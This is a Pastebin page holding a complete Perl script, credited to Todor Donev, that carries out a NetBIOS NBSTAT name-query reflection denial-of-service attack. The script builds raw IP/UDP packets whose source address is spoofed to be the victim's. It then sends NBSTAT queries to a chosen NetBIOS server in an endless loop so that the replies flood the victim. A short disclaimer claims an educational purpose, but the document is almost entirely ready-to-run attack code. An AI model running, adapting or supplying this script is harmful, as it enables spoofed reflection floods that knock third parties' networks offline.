hackerscommunity

NetBios NBSTAT name query reflection dos v2

Jul 17th, 2015
706
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.46 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  NetBios NBSTAT name query reflection dos
  4. #
  5. #  Copyright 2015 (c) Todor Donev
  6. #  http://www.ethical-hacker.org/
  7. #  https://www.facebook.com/ethicalhackerorg
  8. #
  9. #  Disclaimer:
  10. #  This or previous program is for Educational
  11. #  purpose ONLY. Do not use it without permission.
  12. #  The usual disclaimer applies, especially the
  13. #  fact that Todor Donev is not liable for any
  14. #  damages caused by direct or indirect use of the
  15. #  information or functionality provided by these
  16. #  programs. The author or any Internet provider
  17. #  bears NO responsibility for content or misuse
  18. #  of these programs or any derivatives thereof.
  19. #  By using these programs you accept the fact
  20. #  that any damage (dataloss, system crash,
  21. #  system compromise, etc.) caused by the use
  22. #  of these programs is not Todor Donev's
  23. #  responsibility.
  24. #
  25. #  Use at your own risk and educational
  26. #  purpose ONLY!
  27. #
  28. #  See also, UDP-based Amplification Attacks:
  29. #  https://www.us-cert.gov/ncas/alerts/TA14-017A
  30. #  http://www.rhyshaden.com/netbios.htm
  31. #
  32.  
  33. use strict;
  34. use Socket;
  35. use warnings;
  36. no warnings 'uninitialized';
  37.  
  38. if ( $< != 0 ) {
  39.    print "Sorry, must be run as root!\n";
  40.    print "This script use RAW Socket.\n";
  41.    exit;
  42. }
  43.  
  44. my $nbns            = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
  45. my $victim          = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)
  46.  
  47. print "[ NetBios NBSTAT name query reflection ddos\n";
  48. if (!defined $nbns || !defined $victim) {
  49.     print "[ Usg: $0 <nbns src> <victim>\n";
  50.     print "[ <todor.donev\@gmail.com> Todor Donev\n";
  51.     exit;
  52. }
  53. print "[ Sending NBNS packets: $ARGV[0] -> $ARGV[1]\n";
  54. socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
  55. setsockopt(RAW, 0, 1, 1) or die $!;
  56. main();
  57.  
  58.     # Main program
  59. sub main {
  60.     my $packet;
  61.    
  62.     $packet = iphdr();
  63.     $packet .= udphdr();
  64.     $packet .= nbnshdr();
  65.     # b000000m...
  66.     send_packet($packet);
  67. }
  68.  
  69.     # IP header (Layer 3)
  70. sub iphdr {
  71.     my $ip_ver          = 4;                    # IP Version 4          (4 bits)
  72.     my $iphdr_len       = 5;                    # IP Header Length      (4 bits)
  73.     my $ip_tos          = 0;                    # Differentiated Services   (8 bits)
  74.     my $ip_total_len    = $iphdr_len + 20;          # IP Header Length + Data   (16 bits)
  75.     my $ip_frag_id      = 0;                    # Identification Field      (16 bits)
  76.     my $ip_frag_flag    = 000;                  # IP Frag Flags (R DF MF)   (3 bits)
  77.     my $ip_frag_offset  = 0000000000000;            # IP Fragment Offset        (13 bits)
  78.     my $ip_ttl          = 255;                  # IP TTL            (8 bits)
  79.     my $ip_proto        = 17;                   # IP Protocol           (8 bits)
  80.     my $ip_checksum     = 0;                    # IP Checksum           (16 bits)
  81.  
  82.     # IP Packet
  83.     my $iphdr   = pack(
  84.             'H2 H2 n n B16 h2 c n a4 a4',
  85.             $ip_ver . $iphdr_len, $ip_tos,
  86.             $ip_total_len, $ip_frag_id,
  87.             $ip_frag_flag . $ip_frag_offset,
  88.             $ip_ttl, $ip_proto, $ip_checksum,
  89.             $victim, $nbns
  90.             );
  91.             return $iphdr;
  92. }
  93.  
  94.     # UDP Header (Layer 4)
  95. sub udphdr {
  96.     my $udp_src_port    = 31337;            # UDP Sort Port     (16 bits) (0-65535)
  97.     my $udp_dst_port    = 137;              # UDP Dest Port     (16 btis) (0-65535)
  98.     my $udp_len     = 8 + length(nbnshdr());    # UDP Length        (16 bits) (0-65535)
  99.     my $udp_checksum    = 0;                # UDP Checksum      (16 bits) (XOR of header)
  100.  
  101.     # UDP Packet
  102.     my $udphdr      = pack(
  103.             'n n n n',
  104.             $udp_src_port,
  105.             $udp_dst_port,
  106.             $udp_len,
  107.             $udp_checksum
  108.             );
  109.     return $udphdr;
  110. }
  111.  
  112.     # NetBios Name Service
  113. sub nbnshdr {
  114.  
  115.     my $transid      = 0x03e8;
  116.     my $namequery    = 0x0010;
  117.     my $questions    = 0x0001;
  118.     my $answerrr     = 0x0000;    
  119.     my $authrr       = 0x0000;
  120.     my $adrr         = 0x0000;
  121.    
  122.     my $query        = "\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41";
  123.        $query       .= "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
  124.        $query       .= "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00";
  125.        
  126.     my $type        = 0x0021;    
  127.     my $class       = 0x0001;
  128.  
  129.     # NetBios packet
  130.     my $nbnshdr     = pack(
  131.                         'n n n n n n a* n n',
  132.              $transid,
  133.                          $namequery,
  134.              $questions,
  135.              $answerrr,
  136.                          $authrr,
  137.                          $adrr,
  138.                          $query,
  139.                          $type,
  140.                          $class
  141.             );
  142. return $nbnshdr;
  143. }
  144.  
  145. sub send_packet {
  146.     while(1){
  147.     select(undef, undef, undef, 0.30);          # Sleep 300 milliseconds
  148.     send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $nbns)) or die $!;
  149.    }
  150. }
Advertisement
Add Comment
Please, Sign In to add comment